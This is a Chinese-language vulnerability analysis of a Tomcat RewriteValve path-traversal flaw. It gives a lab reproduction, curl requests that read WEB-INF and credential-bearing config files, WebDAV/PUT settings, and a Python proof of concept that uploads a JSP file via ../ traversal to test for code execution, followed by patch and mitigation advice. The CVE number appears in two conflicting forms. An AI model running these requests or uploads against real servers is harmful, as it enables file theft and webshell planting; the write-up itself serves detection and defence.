CVE-2025-55725 概述
Apache Tomcat作为一个开源的Web服务器和Servlet容器,在全球范围内被广泛应用于Java Web应用的部署和运行。其内置的RewriteValve组件是一个服务器端的URL重写引擎,允许开发者通过配置规则动态修改传入请求的URL地址,常用于实现重定向、URL美化或根据特定条件路由请求。2025年10月27日,Apache软件基金会披露了一个存在于RewriteValve组件中的路径遍历漏洞,编号为CVE-2025-55752。该漏洞源于修复历史漏洞CVE-2016-5388(对应Bug60013:https://github.com/apache/tomcat/commit/fec06c610ed7466b401e29cc567a58aee5ed826a)时引入的回归问题,导致攻击者能够绕过安全限制,访问受保护的敏感目录。
背景
- 披露时间:2025年10月27日,由 Apache Software Foundation 官方公布。
- 受影响版本:Apache Tomcat 9.0.0.M11 ~ 9.0.108、10.1.0-M1 ~ 10.1.44、11.0.0-M1 ~ 11.0.10(以及部分 8.5 版本)。
- 严重性:Important(重要级),可能导致远程代码执行(RCE)。
原因
- 该漏洞源于修复旧 bug(bug 60013)时引入的回归问题。
- 在使用 Rewrite Valve(URL 重写规则)时,Tomcat 会先对 URL 进行规范化(normalization),再进行解码。这导致攻击者可以构造特殊编码的请求 URI(如使用 %2e%2e/ 表示 …/),绕过对敏感目录(如 /WEB-INF/、/META-INF/)的保护,实现目录遍历(path traversal)。
危害
- 攻击者可访问或操作受保护的敏感文件/目录。
- 如果服务器启用 HTTP PUT 方法(默认通常禁用,但某些配置或 WebDAV 启用时开放),攻击者可通过路径遍历上传恶意文件(如 JSP webshell),进而实现远程代码执行(RCE)。
- 生产环境中 PUT 常受限,因此直接 RCE 概率较低,但结合 WebDAV 等功能时风险大幅提升。易被用于 webshell 植入、服务器接管。
漏洞复现
docker
git clone https://github.com/AuroraSec-Pivot/CVE-2025-55752.git
cd CVE-2025-55752
docker-compose up -d
路径遍历:
正常测试:
curl -i "http://localhost:8080/WEB-INF/web.xml"
404

利用Rewrite Valve规则传入参数给download下的path
curl -i "http://localhost:8080/download?path=%2FWEB-INF%2Fweb.xml"

成功访问
注意:此路径遍历只能访问当前web路径下的文件,无法跳出根目录
进一步利用
curl -s "http://172.27.21.193:8080/download?path=%2FWEB-INF%2Fclasses%2Fapplication.properties"
curl -s "http://172.27.21.193:8080/download?path=%2FWEB-INF%2Fclasses%2Fdatabase.yml"
RCE漏洞
前提:conf/web.xml
- 添加WebDAV Servlet 配置
<!-- 启用 WebDAV Servlet -->
<servlet>
<servlet-name>webdav</servlet-name>
<servlet-class>org.apache.catalina.servlets.WebdavServlet</servlet-class>
<!-- 配置初始化参数 -->
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
</servlet>
<!-- 配置 WebDAV URL 映射 -->
<servlet-mapping>
<servlet-name>webdav</servlet-name>
<url-pattern>/webdav/*</url-pattern>
</servlet-mapping>
- 启用 HTTP PUT 方法
<!-- 检查默认 servlet 配置 -->
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<!-- 确保此值为 false 以启用写入操作 -->
<param-value>false</param-value>
</init-param>
</servlet>
访问webdav路径有页面

验证poc
import argparse
import requests
import sys
def check_webdav(target):
url = f"{target}/webdav/"
headers = {"Content-Type": "text/xml"}
try:
resp = requests.request("PROPFIND", url, timeout=10, headers=headers)
status = resp.status_code
if status in (200, 207, 401, 403):
print(f"[+] WebDAV 可能启用 (HTTP {status})")
return True
else:
print(f"[-] WebDAV 可能未启用 (HTTP {status})")
return False
except requests.RequestException as e:
print(f"[-] 连接错误: {e}")
return False
def test_path_traversal(target):
test_filename = "test-cve2025-55725.jsp"
test_content = '<% out.println("TEST_SUCCESS"); %>'.encode('utf-8')
# 可能的上传路径(利用 ../ 路径遍历)
upload_paths = [
f"/webdav/../{test_filename}",
f"/webdav/../ROOT/{test_filename}",
f"/webdav/{test_filename}",
]
# 可能的验证访问路径(文件可能落在不同位置)
verify_paths = [
f"/{test_filename}",
f"/ROOT/{test_filename}",
]
session = requests.Session()
session.headers.update({"Content-Type": "text/plain"})
for path in upload_paths:
upload_url = target + path
try:
resp = session.put(upload_url, data=test_content, timeout=10)
if resp.status_code in (200, 201, 204):
print(f"[+] 文件上传成功: {path} (HTTP {resp.status_code})")
# 尝试多个路径验证执行
for vpath in verify_paths:
verify_url = target + vpath
try:
r = session.get(verify_url, timeout=10)
if "TEST_SUCCESS" in r.text:
print(f"[+] RCE 验证成功: {verify_url}")
return True
except requests.RequestException:
continue
except requests.RequestException:
continue
return False
def main():
parser = argparse.ArgumentParser(description="CVE-2025-55725 Tomcat WebDAV 路径遍历检测工具")
parser.add_argument("-u", "--url", required=True, help="目标URL,例如: http://127.0.0.1:8080")
args = parser.parse_args()
target = args.url.rstrip("/")
print(f"[*] 目标: {target}")
print("[*] 检查 WebDAV 是否启用...")
if not check_webdav(target):
print("[-] 目标可能不受影响(WebDAV 未启用)")
sys.exit(0)
print("[*] 测试路径遍历漏洞...")
if test_path_traversal(target):
print("\n[!] 目标可能存在 CVE-2025-55725 漏洞!!!")
else:
print("\n[-] 目标可能不受影响")
if __name__ == "__main__":
main()

防护措施
- 优先升级:立即更新到修复版本:
- Tomcat 9 → 9.0.109 或更高
- Tomcat 10 → 10.1.45 或更高
- Tomcat 11 → 11.0.11 或更高
- 临时缓解:
- 禁用或严格限制 HTTP PUT/DELETE 方法(在 web.xml 中设置 DefaultServlet 的 readonly=true)。
- 禁用不必要的 Rewrite Valve 或 WebDAV。
- 使用 WAF(如 AppTrana、ModSecurity)阻挡异常路径遍历请求。
- 监控日志,扫描暴露的 Tomcat 实例。
- 其他建议:避免在生产环境启用写权限功能,仅在隔离测试环境中复现漏洞。